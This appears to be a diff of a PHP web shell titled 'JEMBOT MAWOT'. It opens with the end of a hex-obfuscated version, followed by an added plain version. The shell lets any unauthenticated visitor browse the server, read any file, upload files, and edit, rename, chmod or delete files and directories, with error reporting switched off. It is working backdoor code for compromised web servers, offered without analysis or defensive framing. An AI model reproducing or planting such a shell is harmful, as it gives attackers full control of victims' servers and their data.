0100)?"\x72":"-");${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x79l\x6b\x67q\x68\x6d\x6c\x63\x63"]="info";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x71k\x62\x63\x6bd\x75\x71k\x6f\x70"]}.=((${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x75\x71\x67\x68\x69\x75k\x6c\x68\x65"]}&0x0080)?"\x77":"-");${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68l\x74e\x62\x66u\x6f"]="\x70e\x72ms";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71k\x62\x63\x6bdu\x71k\x6f\x70"]}.=((${${"\x47\x4cO\x42\x41\x4c\x53"}["d\x75\x71\x67h\x69ukl\x68\x65"]}&0x0040)?((${${"G\x4c\x4f\x42\x41LS"}["d\x75\x71\x67\x68iu\x6b\x6che"]}&0x0800)?"\x73":"\x78"):((${${"G\x4cO\x42A\x4c\x53"}["\x64\x75\x71\x67\x68iu\x6b\x6c\x68\x65"]}&0x0800)?"\x53":"-"));${${"GLO\x42A\x4cS"}["q\x6bb\x63\x6b\x64\x75\x71\x6b\x6fp"]}.=((${${"\x47\x4c\x4f\x42A\x4cS"}["\x63\x75\x67\x6d\x76n\x71\x6d\x79"]}&0x0020)?"\x72":"-");${"\x47\x4c\x4f\x42A\x4c\x53"}["e\x67\x79\x64\x64\x66\x63"]="perms";${"\x47\x4c\x4fBA\x4c\x53"}["\x7a\x6ej\x78\x71\x72\x71\x6d\x6c\x69\x75"]="inf\x6f";${${"G\x4cO\x42AL\x53"}["p\x79\x6c\x6b\x67q\x68\x6dl\x63c"]}.=((${${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x75qg\x68i\x75\x6bl\x68\x65"]}&0x0010)?"w":"-");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x6b\x62\x63\x6b\x64uq\x6b\x6f\x70"]}.=((${${"\x47\x4cO\x42A\x4c\x53"}["d\x75q\x67h\x69u\x6b\x6c\x68e"]}&0x0008)?((${${"G\x4c\x4fB\x41LS"}["\x64\x75q\x67\x68\x69\x75\x6b\x6c\x68\x65"]}&0x0400)?"\x73":"\x78"):((${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x75\x71gh\x69u\x6b\x6ch\x65"]}&0x0400)?"\x53":"-"));${${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x71\x77\x6f\x6e\x6a\x71\x66u"]}.=((${${"GL\x4f\x42AL\x53"}["o\x63\x75\x61\x69s\x65g\x6c\x6b"]}&0x0004)?"\x72":"-");${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x6bb\x63kd\x75\x71\x6b\x6fp"]}.=((${${"\x47LO\x42\x41\x4c\x53"}["\x65\x67\x79\x64\x64\x66c"]}&0x0002)?"w":"-");${$ubrulvebz}.=((${${"\x47\x4cO\x42\x41LS"}["\x68l\x74e\x62\x66\x75\x6f"]}&0x0001)?((${${"\x47L\x4f\x42A\x4cS"}["\x74\x6f\x6dh\x63\x63\x6bq\x6f\x76\x71"]}&0x0200)?"t":"\x78"):((${${"G\x4c\x4f\x42\x41LS"}["\x74si\x6cp\x6c"]}&0x0200)?"T":"-"));return${${"G\x4cOB\x41\x4c\x53"}["\x7a\x6e\x6ax\x71\x72\x71\x6dl\x69u"]};}
|
| 1 | + | <?php |
| 2 | set_time_limit(0); | |
| 3 | error_reporting(0); | |
| 4 | ||
| 5 | if(get_magic_quotes_gpc()){
| |
| 6 | foreach($_POST as $key=>$value){
| |
| 7 | $_POST[$key] = stripslashes($value); | |
| 8 | } | |
| 9 | } | |
| 10 | echo '<!DOCTYPE HTML> | |
| 11 | <HTML> | |
| 12 | <HEAD> | |
| 13 | <link href="" rel="stylesheet" type="text/css"> | |
| 14 | <title>JEMBOT MAWOT</title> | |
| 15 | <style> | |
| 16 | body{
| |
| 17 | font-family: "Racing Sans One", cursive; | |
| 18 | background-color: #e6e6e6; | |
| 19 | text-shadow:0px 0px 1px #757575; | |
| 20 | } | |
| 21 | #content tr:hover{
| |
| 22 | background-color: #636263; | |
| 23 | text-shadow:0px 0px 10px #fff; | |
| 24 | } | |
| 25 | #content .first{
| |
| 26 | background-color: silver; | |
| 27 | } | |
| 28 | #content .first:hover{
| |
| 29 | background-color: silver; | |
| 30 | text-shadow:0px 0px 1px #757575; | |
| 31 | } | |
| 32 | table{
| |
| 33 | border: 1px #000000 dotted; | |
| 34 | } | |
| 35 | H1{
| |
| 36 | font-family: "Rye", cursive; | |
| 37 | } | |
| 38 | a{
| |
| 39 | color: #000; | |
| 40 | text-decoration: none; | |
| 41 | } | |
| 42 | a:hover{
| |
| 43 | color: #fff; | |
| 44 | text-shadow:0px 0px 10px #ffffff; | |
| 45 | } | |
| 46 | input,select,textarea{
| |
| 47 | border: 1px #000000 solid; | |
| 48 | -moz-border-radius: 5px; | |
| 49 | -webkit-border-radius:5px; | |
| 50 | border-radius:5px; | |
| 51 | } | |
| 52 | </style> | |
| 53 | </HEAD> | |
| 54 | <BODY> | |
| 55 | <H1><center>JEMBOT MAWOT</center></H1> | |
| 56 | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> | |
| 57 | <tr><td>Current Path : '; | |
| 58 | if(isset($_GET['path'])){
| |
| 59 | $path = $_GET['path']; | |
| 60 | }else{
| |
| 61 | $path = getcwd(); | |
| 62 | } | |
| 63 | $path = str_replace('\\','/',$path);
| |
| 64 | $paths = explode('/',$path);
| |
| 65 | ||
| 66 | foreach($paths as $id=>$pat){
| |
| 67 | if($pat == '' && $id == 0){
| |
| 68 | $a = true; | |
| 69 | echo '<a href="?path=/">/</a>'; | |
| 70 | continue; | |
| 71 | } | |
| 72 | if($pat == '') continue; | |
| 73 | echo '<a href="?path='; | |
| 74 | for($i=0;$i<=$id;$i++){
| |
| 75 | echo "$paths[$i]"; | |
| 76 | if($i != $id) echo "/"; | |
| 77 | } | |
| 78 | echo '">'.$pat.'</a>/'; | |
| 79 | } | |
| 80 | echo '</td></tr><tr><td>'; | |
| 81 | if(isset($_FILES['file'])){
| |
| 82 | if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
| |
| 83 | echo '<font color="green">File Uploaded.</font><br />'; | |
| 84 | }else{
| |
| 85 | echo '<font color="red">File Upload Error.</font><br />'; | |
| 86 | } | |
| 87 | } | |
| 88 | echo '<form enctype="multipart/form-data" method="POST"> | |
| 89 | Upload File : <input type="file" name="file" /> | |
| 90 | <input type="submit" value="upload" /> | |
| 91 | </form> | |
| 92 | </td></tr>'; | |
| 93 | if(isset($_GET['filesrc'])){
| |
| 94 | echo "<tr><td>Current File : "; | |
| 95 | echo $_GET['filesrc']; | |
| 96 | echo '</tr></td></table><br />'; | |
| 97 | echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
| |
| 98 | }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
| |
| 99 | echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; | |
| 100 | if($_POST['opt'] == 'chmod'){
| |
| 101 | if(isset($_POST['perm'])){
| |
| 102 | if(chmod($_POST['path'],$_POST['perm'])){
| |
| 103 | echo '<font color="green">Change Permission Done.</font><br />'; | |
| 104 | }else{
| |
| 105 | echo '<font color="red">Change Permission Error.</font><br />'; | |
| 106 | } | |
| 107 | } | |
| 108 | echo '<form method="POST"> | |
| 109 | Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
| |
| 110 | <input type="hidden" name="path" value="'.$_POST['path'].'"> | |
| 111 | <input type="hidden" name="opt" value="chmod"> | |
| 112 | <input type="submit" value="Go" /> | |
| 113 | </form>'; | |
| 114 | }elseif($_POST['opt'] == 'rename'){
| |
| 115 | if(isset($_POST['newname'])){
| |
| 116 | if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
| |
| 117 | echo '<font color="green">Change Name Succes.</font><br />'; | |
| 118 | }else{
| |
| 119 | echo '<font color="red">Change Name Error.</font><br />'; | |
| 120 | } | |
| 121 | $_POST['name'] = $_POST['newname']; | |
| 122 | } | |
| 123 | echo '<form method="POST"> | |
| 124 | New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> | |
| 125 | <input type="hidden" name="path" value="'.$_POST['path'].'"> | |
| 126 | <input type="hidden" name="opt" value="rename"> | |
| 127 | <input type="submit" value="Go" /> | |
| 128 | </form>'; | |
| 129 | }elseif($_POST['opt'] == 'edit'){
| |
| 130 | if(isset($_POST['src'])){
| |
| 131 | $fp = fopen($_POST['path'],'w'); | |
| 132 | if(fwrite($fp,$_POST['src'])){
| |
| 133 | echo '<font color="green">Edit File Succes</font><br />'; | |
| 134 | }else{
| |
| 135 | echo '<font color="red">Edit File Error</font><br />'; | |
| 136 | } | |
| 137 | fclose($fp); | |
| 138 | } | |
| 139 | echo '<form method="POST"> | |
| 140 | <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> | |
| 141 | <input type="hidden" name="path" value="'.$_POST['path'].'"> | |
| 142 | <input type="hidden" name="opt" value="edit"> | |
| 143 | <input type="submit" value="Go" /> | |
| 144 | </form>'; | |
| 145 | } | |
| 146 | echo '</center>'; | |
| 147 | }else{
| |
| 148 | echo '</table><br /><center>'; | |
| 149 | if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
| |
| 150 | if($_POST['type'] == 'dir'){
| |
| 151 | if(rmdir($_POST['path'])){
| |
| 152 | echo '<font color="green">Delete Dir Succes.</font><br />'; | |
| 153 | }else{
| |
| 154 | echo '<font color="red">Delete Dir Error.</font><br />'; | |
| 155 | } | |
| 156 | }elseif($_POST['type'] == 'file'){
| |
| 157 | if(unlink($_POST['path'])){
| |
| 158 | echo '<font color="green">Delete File Succes.</font><br />'; | |
| 159 | }else{
| |
| 160 | echo '<font color="red">Delete File Error.</font><br />'; | |
| 161 | } | |
| 162 | } | |
| 163 | } | |
| 164 | echo '</center>'; | |
| 165 | $scandir = scandir($path); | |
| 166 | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> | |
| 167 | <tr class="first"> | |
| 168 | <td><center>Name</center></td> | |
| 169 | <td><center>Size</center></td> | |
| 170 | <td><center>Permissions</center></td> | |
| 171 | <td><center>Options</center></td> | |
| 172 | </tr>'; | |
| 173 | ||
| 174 | foreach($scandir as $dir){
| |
| 175 | if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
| |
| 176 | echo "<tr> | |
| 177 | <td><a href=\"?path=$path/$dir\">$dir</a></td> | |
| 178 | <td><center>--</center></td> | |
| 179 | <td><center>"; | |
| 180 | if(is_writable("$path/$dir")) echo '<font color="green">';
| |
| 181 | elseif(!is_readable("$path/$dir")) echo '<font color="red">';
| |
| 182 | echo perms("$path/$dir");
| |
| 183 | if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
| |
| 184 | ||
| 185 | echo "</center></td> | |
| 186 | <td><center><form method=\"POST\" action=\"?option&path=$path\"> | |
| 187 | <select name=\"opt\"> | |
| 188 | <option value=\"\"></option> | |
| 189 | <option value=\"delete\">Delete</option> | |
| 190 | <option value=\"chmod\">Chmod</option> | |
| 191 | <option value=\"rename\">Rename</option> | |
| 192 | </select> | |
| 193 | <input type=\"hidden\" name=\"type\" value=\"dir\"> | |
| 194 | <input type=\"hidden\" name=\"name\" value=\"$dir\"> | |
| 195 | <input type=\"hidden\" name=\"path\" value=\"$path/$dir\"> | |
| 196 | <input type=\"submit\" value=\">\" /> | |
| 197 | </form></center></td> | |
| 198 | </tr>"; | |
| 199 | } | |
| 200 | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; | |
| 201 | foreach($scandir as $file){
| |
| 202 | if(!is_file("$path/$file")) continue;
| |
| 203 | $size = filesize("$path/$file")/1024;
| |
| 204 | $size = round($size,3); | |
| 205 | if($size >= 1024){
| |
| 206 | $size = round($size/1024,2).' MB'; | |
| 207 | }else{
| |
| 208 | $size = $size.' KB'; | |
| 209 | } | |
| 210 | ||
| 211 | echo "<tr> | |
| 212 | <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td> | |
| 213 | <td><center>".$size."</center></td> | |
| 214 | <td><center>"; | |
| 215 | if(is_writable("$path/$file")) echo '<font color="green">';
| |
| 216 | elseif(!is_readable("$path/$file")) echo '<font color="red">';
| |
| 217 | echo perms("$path/$file");
| |
| 218 | if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
| |
| 219 | echo "</center></td> | |
| 220 | <td><center><form method=\"POST\" action=\"?option&path=$path\"> | |
| 221 | <select name=\"opt\"> | |
| 222 | <option value=\"\"></option> | |
| 223 | <option value=\"delete\">Delete</option> | |
| 224 | <option value=\"chmod\">Chmod</option> | |
| 225 | <option value=\"rename\">Rename</option> | |
| 226 | <option value=\"edit\">Edit</option> | |
| 227 | </select> | |
| 228 | <input type=\"hidden\" name=\"type\" value=\"file\"> | |
| 229 | <input type=\"hidden\" name=\"name\" value=\"$file\"> | |
| 230 | <input type=\"hidden\" name=\"path\" value=\"$path/$file\"> | |
| 231 | <input type=\"submit\" value=\">\" /> | |
| 232 | </form></center></td> | |
| 233 | </tr>"; | |
| 234 | } | |
| 235 | echo '</table> | |
| 236 | </div>'; | |
| 237 | } | |
| 238 | echo '<br />xxxxx<font color="red">1.0</font>, XXX <font color="red">xxxx</font> | |
| 239 | </BODY> | |
| 240 | </HTML>'; | |
| 241 | function perms($file){
| |
| 242 | $perms = fileperms($file); | |
| 243 | ||
| 244 | if (($perms & 0xC000) == 0xC000) {
| |
| 245 | // Socket | |
| 246 | $info = 's'; | |
| 247 | } elseif (($perms & 0xA000) == 0xA000) {
| |
| 248 | // Symbolic Link | |
| 249 | $info = 'l'; | |
| 250 | } elseif (($perms & 0x8000) == 0x8000) {
| |
| 251 | // Regular | |
| 252 | $info = '-'; | |
| 253 | } elseif (($perms & 0x6000) == 0x6000) {
| |
| 254 | // Block special | |
| 255 | $info = 'b'; | |
| 256 | } elseif (($perms & 0x4000) == 0x4000) {
| |
| 257 | // Directory | |
| 258 | $info = 'd'; | |
| 259 | } elseif (($perms & 0x2000) == 0x2000) {
| |
| 260 | // Character special | |
| 261 | $info = 'c'; | |
| 262 | } elseif (($perms & 0x1000) == 0x1000) {
| |
| 263 | // FIFO pipe | |
| 264 | $info = 'p'; | |
| 265 | } else {
| |
| 266 | // Unknown | |
| 267 | $info = 'u'; | |
| 268 | } | |
| 269 | ||
| 270 | // Owner | |
| 271 | $info .= (($perms & 0x0100) ? 'r' : '-'); | |
| 272 | $info .= (($perms & 0x0080) ? 'w' : '-'); | |
| 273 | $info .= (($perms & 0x0040) ? | |
| 274 | (($perms & 0x0800) ? 's' : 'x' ) : | |
| 275 | (($perms & 0x0800) ? 'S' : '-')); | |
| 276 | ||
| 277 | // Group | |
| 278 | $info .= (($perms & 0x0020) ? 'r' : '-'); | |
| 279 | $info .= (($perms & 0x0010) ? 'w' : '-'); | |
| 280 | $info .= (($perms & 0x0008) ? | |
| 281 | (($perms & 0x0400) ? 's' : 'x' ) : | |
| 282 | (($perms & 0x0400) ? 'S' : '-')); | |
| 283 | ||
| 284 | // World | |
| 285 | $info .= (($perms & 0x0004) ? 'r' : '-'); | |
| 286 | $info .= (($perms & 0x0002) ? 'w' : '-'); | |
| 287 | $info .= (($perms & 0x0001) ? | |
| 288 | (($perms & 0x0200) ? 't' : 'x' ) : | |
| 289 | (($perms & 0x0200) ? 'T' : '-')); | |
| 290 | ||
| 291 | return $info; | |
| 292 | } | |
| 293 | ?> |